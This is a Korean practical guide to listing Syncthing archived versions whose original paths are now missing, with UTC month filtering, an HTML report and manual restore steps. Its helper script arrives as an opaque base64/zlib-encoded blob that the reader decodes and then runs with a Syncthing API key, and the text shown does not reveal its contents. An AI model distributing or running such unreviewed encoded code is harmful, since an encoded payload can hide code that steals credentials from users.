기술 · 실용 가이드
Syncthing 버전 기록에서 없어진 파일 찾기
보관 중인 버전에서 현재 원래 경로가 없는 항목을 월별·시간순으로 확인하세요. 확인할 수 없었던 항목도 따로 표시해 놓치지 않도록 합니다.

버전 기록이 길면 예상치 못하게 없어진 파일을 찾기 어렵습니다. 이때 확인할 질문은 구체적입니다. 선택한 달에 보관된 버전이 있지만, 이 폴더에는 더 이상 존재하지 않는 경로는 무엇일까요? 파일을 이동하거나 이름을 바꾼 경우에도 이전 경로는 없어지므로 결과에 나타날 수 있습니다.
아래 보조 스크립트는 선택한 로컬 Syncthing 폴더와 해당 인스턴스가 반환한 버전 목록을 비교해 독립형 HTML 보고서를 만듭니다. 현재 없는 경로와 확인하지 못한 경로를 따로 묶고, 각 경로의 보관된 버전을 보관 시각순으로 정렬합니다. 복원 여부는 사용자가 결정합니다.
필요한 버전 기록이 맞는지 확인하기
관련 버전을 이미 보관하고 있는 기기에서 작업하세요. Syncthing의 파일 버전 관리는 각 기기의 폴더별로 따로 설정합니다. 다른 기기에서 들어온 변경으로 영향을 받는 파일을 보관하며, 같은 기기에서 직접 편집하거나 삭제한 내용은 기록하지 않습니다.
보관 정책도 중요합니다. 선택한 방식에 따라 버전의 보관 기간이 만료되거나, 일부 버전만 남거나, 다른 버전으로 대체되었을 수 있습니다. 지금 버전 관리를 켜도 이전 사본을 다시 만들어낼 수는 없습니다. 이 점검은 선택한 인스턴스가 현재 반환하는 항목만 대상으로 하므로, 보고서가 비어 있다고 해서 삭제된 파일이 전혀 없었다고 단정할 수 없습니다.
여기서 월은 해당 버전이 보관된 시점을 가리킵니다. 이전 편집 이후 보관된 파일의 현재 경로는 훨씬 나중에 없어질 수도 있습니다. 보관 시각이나 그보다 앞선 수정 시각만으로 현재 경로가 언제 사라졌는지 알 수는 없습니다.
인스턴스, 폴더 ID, 현재 폴더 맞추기
조회할 Syncthing 인스턴스와 같은 컴퓨터, 같은 파일 시스템 환경에서 스크립트를 실행하세요. 해당 인스턴스의 웹 인터페이스에서 폴더 ID와 설정된 폴더 경로를 확인합니다. ID는 화면에 표시되는 폴더 이름과 다를 수 있습니다. --root에는 .stversions 디렉터리가 아니라 현재 사용하는 폴더를 지정하세요.
사용하려는 저장 장치가 마운트되어 있고 읽을 수 있는지 확인하세요. 폴더 안에 별도로 마운트된 위치가 있다면 그곳도 확인해야 합니다. 관련 위치마다 익숙한 파일을 하나씩 열어 보세요. 드라이브 연결이 끊겨도 빈 마운트 지점 디렉터리는 남아 있을 수 있습니다. 경로 문자열이 일치하는 것만으로 의도한 저장 장치가 연결되어 있다고 보장할 수는 없습니다.
스크립트는 설정과 일치하는 절대 경로의 루트 폴더와 Syncthing의 basic 파일 시스템을 요구합니다. 루트와 그 상위 경로는 심볼릭 링크가 아닌 실제 디렉터리여야 합니다. 설정된 경로에 ~가 있다면 Syncthing과 동일한 계정 및 홈 디렉터리 매핑을 사용하세요. 컨테이너 내부 경로와 호스트의 바인드 마운트 경로는 서로 바꿔 쓸 수 없습니다. 일치하지 않으면 실행 환경이나 경로를 바로잡으세요.
동기화하는 모든 폴더 바깥에 있는 기존 디렉터리를 작업 디렉터리로 정하고, 새 출력 파일 이름을 선택하세요. 스크립트는 지정한 루트만 검사하며, 동기화 중인 모든 폴더를 검사하지는 않습니다. API를 사용할 수 있도록 Syncthing은 실행해 두고, 진행 중인 편집·이동·동기화가 끝난 뒤 작업하세요. 결과는 실행 중에 관찰한 상태이며, 한 시점을 원자적으로 포착한 스냅샷이 아닙니다.
보조 스크립트 저장하고 살펴보기
일반적인 basic 파일 시스템을 사용하는 POSIX 환경에서 Python 3.12 이상을 사용하세요. 일반 텍스트 편집기로 아래의 한 줄 전체를 선택한 작업 디렉터리에 unpack_audit.py라는 이름으로 저장합니다. 이 줄에는 보조 스크립트의 소스와 무결성 검사 코드가 들어 있습니다. 이 Python 코드를 Bash에 직접 붙여 넣지 마세요. 실행하기 전에 python3 --version으로 버전을 확인하세요. 이전 Python 버전은 폴더나 API 작업을 시작하기 전에 실행이 거부됩니다.
import base64,zlib,hashlib,sys; from pathlib import Path; data=zlib.decompress(base64.b64decode('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',validate=True)); f=Path('audit.py').open('xb') if hashlib.sha256(data).hexdigest()=='71717f0699b0ab624944f1d8746eafff0d34f08f3cde079e98278112ed51d139' else sys.exit('SHA-256 mismatch; no helper file written'); f.write(data); f.close(); print('Created audit.py for inspection; it has not been run.')
해당 디렉터리에서 다음 명령을 실행해 읽을 수 있는 형태의 보조 스크립트를 생성하세요.
python3 unpack_audit.py
압축 해제 스크립트는 SHA-256을 검증하고, 같은 이름의 파일이 없을 때만 audit.py를 만듭니다. 복원한 스크립트를 실행하지는 않습니다. 16,912바이트인 audit.py의 SHA-256은 71717f0699b0ab624944f1d8746eafff0d34f08f3cde079e98278112ed51d139여야 합니다. API 키를 제공하기 전에 텍스트 편집기로 파일을 열어 내용을 살펴보세요.
점검 스크립트는 폴더 설정과 보관된 버전을 읽은 다음, 디스크에 있는 현재 경로를 확인합니다. 새 HTML 파일에는 전체 보고서 JSON이 포함되며, 네트워크 리소스나 실행 가능한 JavaScript가 필요하지 않습니다. 파일을 복원하거나 동기화된 내용을 바꾸지 않습니다. 경로에 개인정보가 드러난다면 보고서를 비공개로 보관하세요.
명령 기록에 남기지 않고 API 키 설정하기
이 로컬 인스턴스의 GUI 설정에서 API 키를 복사하세요. API 접근 자격 증명이므로 명령 자체나 스크린샷, 보고서에 넣지 마세요. Bash에서 아래의 입력 내용이 표시되지 않는 프롬프트에 키를 입력합니다. 명령은 키를 이 셸의 환경 변수에만 저장합니다.
read -r -s -p 'Syncthing API key: ' SYNCTHING_API_KEY && export SYNCTHING_API_KEY
기본 연결 주소는 http://127.0.0.1:8384입니다. 로컬 포트가 다르거나 신뢰할 수 있는 HTTPS 주소를 사용한다면 --url에 해당 인스턴스의 직접 주소를 지정하세요. 자격 증명이나 경로 접두사가 들어 있는 URL은 거부하며, 리디렉션과 환경 변수로 설정된 프록시는 사용하지 않습니다. API와 검사할 폴더는 같은 컴퓨터에 있어야 합니다.
UTC 기준 한 달 점검하기
예제의 폴더 ID와 절대 경로를 자신의 값으로 바꾸고, 새 출력 파일 이름을 선택하세요. 이 예제는 2026년 9월을 조회합니다. 보관 시각이 2026-09-01T00:00:00Z 이상이고 2026-10-01T00:00:00Z 미만인 항목을 포함합니다.
python3 audit.py --folder 'YOUR-FOLDER-ID' --root '/absolute/path/to/Sync' --month 2026-09 --output '/absolute/path/outside/Sync/report-2026-09.html'
시간대 오프셋이 있는 타임스탬프는 UTC로 변환한 뒤 비교합니다. 예를 들어 2026-09-01T01:00:00+01:00은 이 보고서에서 정확히 9월의 시작 시각입니다. 따라서 월 경계 부근에서는 현지 달력의 날짜와 달라질 수 있습니다. 어느 달을 확인할지 정할 때는 표시된 UTC 구간을 기준으로 삼으세요.
성공하면 종료 코드 0으로 끝나며, status: written과 항목 수가 담긴 짧은 JSON 메시지를 출력합니다. 새 HTML 파일을 로컬 브라우저에서 여세요. 오류는 결과가 비어 있다는 뜻이 아닙니다. 다음 명령으로 이 셸에서 자격 증명을 지우세요. 다시 시도할 때는 입력 내용이 표시되지 않는 프롬프트에서 키를 다시 입력합니다.
unset SYNCTHING_API_KEY

없는 경로와 확인 불가 항목을 나누어 읽기
먼저 보고서의 폴더와 월을 확인한 다음, 시간순으로 정렬된 누락 항목을 살펴보세요. 각 항목은 점검 당시 원래의 상대 경로가 없었던 보관 버전 하나를 나타냅니다. 의도치 않은 손실이라고 판단하기 전에 현재 폴더에서 이름이 바뀌거나 이동된 사본을 찾아보세요.
표에서는 고유 경로 수와 보관된 버전 수를 따로 셉니다. 없는 경로 하나에 행이 두 개 있다면 경로 한 개와 버전 두 개를 뜻하며, 두 번 삭제되었다는 뜻은 아닙니다. 전체 보고서 JSON에는 현재 존재하는 경로, 원래의 versionTime과 modTime 값, UTC로 정규화한 시각, size, current_path_state, state_reason도 들어 있습니다.
확인 불가 항목도 모두 검토하세요. 읽을 수 없는 경로나 지원하지 않는 상위 경로 해석 방식은 누락이라고 단정할 수 없습니다. 표시된 접근 또는 경로 문제를 해결한 뒤 새 보고서로 다시 실행하세요. 최종 경로에 심볼릭 링크가 있으면 대상에 접근할 수 없어도 존재하는 것으로 처리합니다. 그렇다고 링크 대상의 내용을 보장하는 것은 아닙니다.
누락 항목이 0개라도 확인 불가 항목이 있으면 해당 경로의 점검은 아직 해결되지 않은 상태입니다. 둘 다 0개라면 이번에 성공적으로 수행한 점검에서 선택한 기간에 반환된 버전 중 현재 없는 경로를 발견하지 못했다는 뜻입니다. 보관 기간이 지난 이력, 다른 기기의 버전, 이 보관 기록에 한 번도 포함되지 않은 파일의 존재 여부는 알 수 없습니다.
결론을 내리기 전에 오류부터 해결하기
연결 또는 인증 오류가 나면 로컬 인스턴스가 실행 중인지, GUI 주소가 정확한지, 키가 해당 인스턴스의 것인지 확인하세요. 루트가 일치하지 않으면 폴더 ID와 설정된 경로를 함께 확인합니다. 드라이브에 접근할 수 없거나 디렉터리를 읽을 수 없다면 먼저 접근을 복구하세요. 검사를 통과시키려고 빈 대체 디렉터리를 만들지는 마세요.
잘못된 형식의 응답, 지원하지 않는 경로나 타임스탬프, 예상과 다른 폴더 설정이 있으면 빈 목록을 내놓는 대신 점검을 중단합니다. API 또는 루트 오류는 구체적인 오류 메시지와 함께 종료 코드 1을 반환하고, 명령 구문 오류는 종료 코드 2를 반환합니다. 오류를 해결하고 새 출력 파일 이름을 선택하세요. 기존 보고서는 보존됩니다. 쓰기에 실패하면 새 파일이 일부만 작성된 채 남을 수 있습니다. 다시 시도하기 전에 그 파일을 확인해 삭제하거나 다른 파일 이름을 선택하세요.
실행 중 파일이 바뀌었다면 작업이 잦아든 뒤 다시 점검하세요. 의심스러운 항목에 대해 조치하기 직전에 상태를 한 번 더 확인합니다. 이전에 저장한 보고서로는 그 뒤 파일이 다시 생겼는지 알 수 없습니다.
직접 선택한 버전만 복원하기
없는 경로를 확인하고 보관된 특정 사본이 필요하다고 판단했다면, Syncthing에서 같은 폴더의 Restore Versions(버전 복원)를 여세요. Filter by name(이름으로 필터)과 Filter by date(날짜로 필터)로 항목을 찾은 다음, 경로와 선택한 버전을 확인한 뒤 Restore(복원)를 사용합니다. 실제 타임스탬프를 보고서와 비교하세요. GUI의 날짜 표시가 보고서와 같은 UTC 월 경계를 사용한다고 가정해서는 안 됩니다.
복원된 파일이 있어야 할 현재 경로에서 내용을 확인하고, Syncthing에 표시된 복원 오류도 살펴보세요. 이전 버전을 복원하기 전에 현재 내용을 고려해야 합니다. HTML 점검 보고서는 복원할 항목을 선택하지 않으며, 어떤 보관본이 작업에 적합한지도 판단할 수 없습니다.
원래 경로의 존재 여부를 확인하고 날짜에 따른 모의 복원을 제공하는 기능은 Restorething에 이미 있습니다. 이 가이드는 여기에 목적을 좁힌 검토 절차를 더합니다. UTC 기준 한 달에 해당하는 반환 버전 전체를 대상으로 현재 없는 경로를 확인하고, HTML에 시간순으로 정리하며 확인 불가 항목도 표시합니다. 필요한 버전을 신중히 선택한 뒤에는 Syncthing의 기본 복원 기능을 사용할 수 있습니다.
검증한 범위
게시된 보조 스크립트는 Python 3.12.14/Linux에서 로컬 HTTP 테스트 서버와 실제 임시 파일을 사용해 명령줄 실행 28회와 검증 그룹 29개를 통과했습니다. API에서 HTML까지의 처리 흐름, UTC 경계와 나노초 단위 정렬, 고유 경로 수와 버전 수의 구분, 파일 이름 이스케이프, 존재·누락·확인 불가 경로, 빈 결과로 처리해서는 안 되는 오류를 확인했습니다. 압축 해제 스크립트는 실행 없이 원본을 정확히 재구성하는 경우, 손상된 데이터의 거부, 기존 스크립트의 보존이라는 별도의 하위 프로세스 사례 세 가지를 통과했습니다.
실제 Syncthing 인스턴스, 기본 복원 GUI, Windows 또는 macOS에서는 테스트하지 않았습니다. 권한 거부는 테스트에서 주입했으며, 운영체제 접근 규칙으로 시험하지는 않았습니다. 이 검사만으로 실행 중 파일 시스템이나 마운트가 동시에 바뀌는 상황까지 보호한다고 할 수는 없습니다. 보고서는 경로가 사라진 이유를 판단하거나, 이동과 삭제를 구분하거나, 보관 기간이 지난 버전을 복구할 수 없습니다.